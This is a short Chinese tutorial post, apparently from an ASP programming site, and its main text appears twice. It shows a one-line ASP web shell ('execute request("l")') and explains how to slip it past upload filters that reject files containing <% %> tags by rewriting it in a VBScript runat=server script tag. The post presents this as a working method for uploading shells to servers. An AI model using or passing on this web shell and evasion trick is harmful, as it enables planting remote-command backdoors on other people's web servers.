不能使用ASP标记的时候的一个解决办法
类别: ASP教程
郁闷中啊,无聊的逛着,还为那个同时使用双标签的问题而努力找解决方案,突然想到了一个东西,
以前好多朋友说过就是在程序上传shell过程中,程序不允许包含<%%>标记符号的内容的文件上传,
这样就有好多shell不能上传上去了!那我们是不就没别的方法了么,当然有了!呵呵!
我们拿蓝屏最小的asp木马来看下:
以下是引用片段:
<%execute request("l")%>
我们来把他的标签换下来:
以下是引用片段:
<script language=VBScript runat=server>execute request("l")</Script>
呵呵!这样就避开了使用<%%>,保存为.asp,程序照样执行,效果一样的说!
偶在xpsp2下测试成功!
以前好多朋友说过就是在程序上传shell过程中,程序不允许包含<%%>标记符号的内容的文件上传,
这样就有好多shell不能上传上去了!那我们是不就没别的方法了么,当然有了!呵呵!
我们拿蓝屏最小的asp木马来看下:
以下是引用片段:
<%execute request("l")%>
我们来把他的标签换下来:
以下是引用片段:
<script language=VBScript runat=server>execute request("l")</Script>
呵呵!这样就避开了使用<%%>,保存为.asp,程序照样执行,效果一样的说!
偶在xpsp2下测试成功!
- 上一篇: 一个采集入库生成本地文件的几个FUCTION
- 下一篇: 绑定TXT文件到DATAGRID
-= 资 源 教 程 =-
文 章 搜 索